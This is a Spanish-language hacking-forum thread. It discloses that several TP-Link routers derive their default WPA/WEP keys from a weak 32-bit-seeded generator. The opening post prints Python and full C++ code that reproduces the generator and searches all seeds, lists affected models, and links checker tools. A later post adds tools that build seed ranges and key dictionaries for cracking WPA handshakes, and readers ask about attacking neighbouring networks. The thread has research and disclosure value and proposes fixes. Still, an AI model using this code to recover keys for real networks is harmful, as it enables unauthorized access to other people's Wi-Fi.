24 de Marzo de 2017, 10:50:47 pm
  • WPSdb - Base de Datos de Pines Online

Autor Tema: Vulnerabilidad de TP-Link al generar claves WPA/WPA2  (Leído 34682 veces)

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.071
  • Reputación: +243/-0
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« en: 09 de Marzo de 2013, 01:52:50 pm »

Recientemente TP-Link ha sacado unos routers al mercado, los TD-W8970, TD-W8968, y TD-W8961ND que aparecen bajo el nombre TP-LINK_XXXXXX. Su clave por defecto en WPA / WPA2 y WEP es es de 10 y 13 caracteres respectivamente (aparentemente de 0-9, y A-Z) y es generada aleatoriamente por el EasySetupAssistant.

En WPA/WPA2 que es lo que nos interesa, un ataque de fuerza bruta acelerado por una GPU media a unos 20000 keys/s tardaría 3610 / 20000 = 3656158440062976 keys / 20000 keys/s = 5796,8011 años. Esto se puede lograr con cualquier tarjeta gráfica de gama media-alta en un ordenador normal, por lo que parece imposible de romper en un tiempo razonable.

Pues, desensamblando el asistente de configuración, he visto que el encargado de hacer esto es un generador de congruencia lineal que usa seeds de 32 bits. En otras palabras, el conjunto de claves posibles tanto para keys de 10 caracteres (WPA/WPA2) como de 13 caracteres (WEP) es de 232. El código en Python de este generador es:

Código: [Seleccionar]
chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ"
def gen(seed, length): #length=10 for WPA/WPA2, length=13 for WEP
    key = ""
    for i in range(length):
        seed = (seed)*0x343FD + 0x269EC3
        key += chars[((seed >> 0x10) & 0x7FFF) % 0x28]
    return key

Por si esto fuera poco, cada clave en el conjunto de claves está duplicada ya que las seeds i y (i+0x80000000) generan la misma clave para todos los enteros i de 32 bits. Esto hace que las combinaciones totales se reduzcan a 231. De esta manera, podemos encontrar la clave en un máximo de: 231 / 20000 = 1,24 días.
Esto se vuelve aún más grave si tenemos en cuenta que 1,24 días es el tiempo requerido a esa velocidad en el peor de los casos. El tiempo medio se situaría en 0,62 días. Por no hablar del tiempo que lograría un peligroso gamer con su ordenador nuevo listo para mover el Crysis 3 en ultra. En ese caso estaríamos hablando de una media de 3 o 4 horas.

He creado un pequeño programa en C++ para comprobar si claves generadas para otros routers TP-Link eran vulnerables. Tan solo lo tenéis que abrirlo, introducir "1", y poner la clave para comprobar si es vulnerable. Desde luego, todas las claves generadas para los TD-W8970, TD-W8961ND, y TD-W8968 están afectadas al compartir el mismo EasySetupAssistant. Si tenéis otro router distinto de TP-Link, pero con una clave aleatoria, no estaría de más que la comprobaseis.

Descarga (Windows + Linux + Sources): http://www.mediafire.com/download.php?oyrnt45sljlxa5a

Mirror:
TPLink-CheckKeys.zip (84 KB)
https://mega.co.nz/#!qYRHhb7K!EP4jwmdUpmXqlaALkHkL4gTEMVxVQJ-Z3yePtcQEv8Q

También me mosquee mucho con respecto a cómo se generaban los primeros 4 dígitos en hexadecimal de la clave, lo mismo me volví paranoico, o lo mismo no es sano desensamblar a las 5 de la mañana. En todo caso si alguien por aquí quiere contribuir a sembrar el caos y la destrucción a la seguiridad en Internet, podría echarle un ojo al asistente (basta con poner un breakpoint en 00474BF0, o con mucho cuidado poner la EIP ahí). Cada bit que determinéis reduciría el tiempo de descifrado a la mitad. Sólo eso me parece motivación suficiente para continuar.

Otra cosa que estaría genial es que alguien generase el diccionario para estos routers (ocuparía 22,5 GB), o que modifique algun crackeador de handshakes por GPU open source para que se centre en las claves para estos routers. Por último, si seguís este blog sabréis que subo algunos humildes tutoriales sobre cracking; pues como esto trae OllyDbg de por medio, pues hice un tutorial de cómo encontrar estos fallos usando este como ejemplo. ¡Que lo disfrutéis!

<a href="http://www.youtube.com/watch?v=-M0naAtUZM0" target="_blank">http://www.youtube.com/watch?v=-M0naAtUZM0</a>

Por último, solo por comentar posibles soluciones a este fallo. Recomendaría usar seeds de más tamaño (64 bits) a la hora de generar las claves, o tomar dos seeds basadas en acciones del usario (tiempo en milisegundos transcurrido entre clicks) para generar dos partes distintas de la clave. O aún más sencillo, lo que hacen en los Linksys E4200, que usan la función CryptGenRandom de ADVAPI32 para generar 10 bytes aleatorios que se usan como indices (módulo longitud) de la string con los caracteres de la contraseña.



Adicional:

Este fallo afecta a todos* los routers WiFi de TP-Link sacados desde 2010. Básicamente todos los que empiezan con TL-WA, TL-WR, TL-WDR, y por otra parte los WXXXX y VGXXXX.

Estos routers vienen a ser los que aparecen en estas dos listas (quitando los adaptadores WiFi):
 http://www.tp-link.com/en/support/download/?pcid=201
 http://www.tp-link.com/en/products/?categoryid=203

Routers TP-Link vulnerables:
Código: [Seleccionar]
TL-W8151N    (V1, V3)
TL-WA730RE   (V1, V2*)
TL-WA830RE   (V1, V2*)
TL-WDR3500
TL-WDR3600
TL-WDR4300
TL-WR720N
TL-WR740N    (V1, V2, V3, V4)
TL-WR741ND   (V1, V2, V3*,V4)
TL-WR841N    (V1*,V5, V7, V8)
TL-WR841ND   (V3, V5, V7, V8*)
TL-WR842ND
TL-WR940N    (V1, V2)
TL-WR941ND   (V2, V3, V4, V5)
TL-WR1043N
TL-WR1043ND
TD-VG3511    (V1*)
TD-VG3631
TD-W8901N
TD-W8950ND
TD-W8951NB   (V3*,V4, V5)
TD-W8951ND   (V1, V3, V4, V5)
TD-W8960N    (V1, V3, V4)
TD-W8961NB   (V1, V2, V3*)
TD-W8961ND
TD-W8968
TD-W8970

*Posiblemente vulnerable. No he podido comprobarlo aún.



SOURCE CODE:

Código: [Seleccionar]
#include <iostream>
#include <iomanip>
#include <sstream>
using namespace std;

char chars [] = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ";

void gen (unsigned int seed, int len, char* key){
seed -= 10;
for (int i=0; i<len; i++){
seed = seed*0x343FD + 0x269EC3;
key[i] = chars[((seed >> 0x10) & 0x7FFF) % 0x28];
}
key[len]=0;
}


int main (){

cout << "+------------------------------------------------+\n";
cout << "|  Checking vulnerable keys in TP-Link routers:  |\n";
cout << "|        TD-W8961ND | TD-W8968 | TD-W8970        |\n";
cout << "|             alexaltea123@gmail.com             |\n";
cout << "+------------------------------------------------+\n";

cout << "\nSelect your mode:\n";
cout << " [1] Test WPA/WPA2 keys: 10 characters.\n";
cout << " [2] Test WEP keys: 13 characters.\n";
cout << " [3] Generate keys from a seed.\n";
cout << "\nMode: ";

/*Select mode: WPA/WPA2, WEP or generate keys*/
char key [14];
unsigned int length;
unsigned int number = 0;
cin >> number;
if (number == 1) length = 10;
else if (number == 2) length = 13;
else if (number == 3){
while (true){
cout << "\nEnter a valid seed (in decimal): ";
cin >> number;
gen(number, 13, key);
cout << " [*] WEP key:       " << key << endl;
key[10]=0;
cout << " [*] WPA/WPA2 key:  " << key << endl;
}
}
else return 0;

/*Enter user's key*/
char defkey [14];
cout << "Enter your key: ";
cin >> defkey;

/*Scanning if the key is vulnerable*/
unsigned int i;
unsigned int pos;
cout << "\nChecking seeds:\n";
for (i=0; i<=0x80000000; i++){
gen(i, length, key);

if (i % 0x1000000 == 0){
cout << "[" << string(i/0x4000000, '#') << string(32-i/0x4000000, ' ') << "] ";
cout << dec << i/21474836 << "% | Current seed: 0x";
cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\r";
}
for(pos=0; pos<length; pos++){
if (defkey[pos]!=key[pos]) break;
}
if (pos==length){
cout << "[################################] 100% | Current seed: 0x";
cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\n";

cout << "\nValid seed found!\n";
cout << " [*] Seed: 0x" << setfill('0') << setw(8) << hex << i;
cout << " (" << dec << i << " in decimal)\n";
cout << " [*] Key:  " << key << endl;
cout << "Your key is vulnerable to this attack.";
break;
}
}

if (i==0x80000001){
cout << "\n\nNo valid seed found!\n";
cout << "Your key is not vulnerable to this attack.\n";
}

cout << "\n\nPress enter to exit..." << endl;
cin.sync();
cin.get();
return 0;
}
« Última modificación: 09 de Marzo de 2013, 07:47:04 pm por D3M0N »
  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado qualtrix

  • Usuario
  • *
  • Mensajes: 22
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #1 en: 09 de Marzo de 2013, 07:38:36 pm »
Buena data! Si vos desarrollaste todo eso te felicito
  • Antenas: Direccional 9 y 12dbi, Omni 2, 3, 5, 8dbi
  • Sistemas Operativos: Windows 7
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0 x64, Wifislax 4.4, Wifiway 3.4, Backtrack 5r3
  • Dispositivos Inalambricos: ALFA 1W AWUS036H, ALFA UBDo-nt8, Generico 500mw RT8187L, Ralink 3070 Tp-Link TL-WN7200ND, Tp-Link TL-WA5210G, Tp-Link TL-WN822N, Powerline TL-WPA271KIT

Desconectado nyko513

  • Usuario
  • *
  • Mensajes: 15
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #2 en: 24 de Marzo de 2013, 12:12:13 am »
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?
  • Antenas: 4dbi
  • Sistemas Operativos: 7 y Fedora
  • Sistemas Operativos que utilizo para Auditar: Backtrack 5, Wifislax
  • Dispositivos Inalambricos: RT3070

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.071
  • Reputación: +243/-0
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #3 en: 01 de Abril de 2013, 12:00:02 am »
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?

TPLink-GenSeeds:
http://www.mediafire.com/download.php?44l9629qq1dx2l8
Este programa calcula el intervalo de seeds donde hay que buscar a partir de un intervalo de tiempo, que se puede indicar con dos fechas, o solo con una fecha y los días alrededor de esta. Como sería horrible hacer esto por terminal le he añadido una GUI rápida  para Windows y Linux (aunque se ve deforme en algunas distros). Para Windows traigo un .exe y para Linux basta con un:
python TPLink-GenSeeds-Linux.pyw
Si tenéis problemas, probablemente necesitéis ejecutar:
sudo apt-get install python-wxgtk2.8

TPLink-GenKeys:
http://www.mediafire.com/download.php?28z2fvdgpf22s68
Seleccionáis que tipo de claves queréis generar (si, sé que a estas alturas a nadie le interesa WEP, pero no me costaba nada). Indicáis el rango de las seeds (calculado con el programa de antes), os saldrá información sobre la lista y si continuáis, la tendréis en "./output.txt".
                   

  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado SherlockH

  • Usuario
  • *
  • Mensajes: 42
  • Reputación: +0/-1
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #4 en: 22 de Julio de 2013, 12:55:54 pm »
D3M0N gracias por la data. El generador del diccionario da error a los 137 mb del archivo output.txt (que debería pesar cerca de 1 GB contando los seeds desde el 1/1/2010 hasta hoy, tengo Windows 8 ¿Habrá algún update del programa?

Saludos.
  • Antenas: -
  • Sistemas Operativos: -
  • Sistemas Operativos que utilizo para Auditar: -
  • Dispositivos Inalambricos: -

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.071
  • Reputación: +243/-0
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #5 en: 22 de Julio de 2013, 08:43:28 pm »
  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado Kal-EL84

  • Usuario
  • *
  • Mensajes: 75
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
« Respuesta #6 en: 23 de Octubre de 2015, 12:51:56 pm »
Agarro entre 5 y 6 redes que son TP-Link, son WPA/WPA2 con WPS, me serviría esto?
  • Antenas: Por defecto 12 dBi
  • Sistemas Operativos: Windows 8
  • Sistemas Operativos que utilizo para Auditar: WiFisLax 4.11.1
  • Dispositivos Inalambricos: Nisuta NS-wuicpe310 chipset RT3070, Ubiquiti Nanostation M2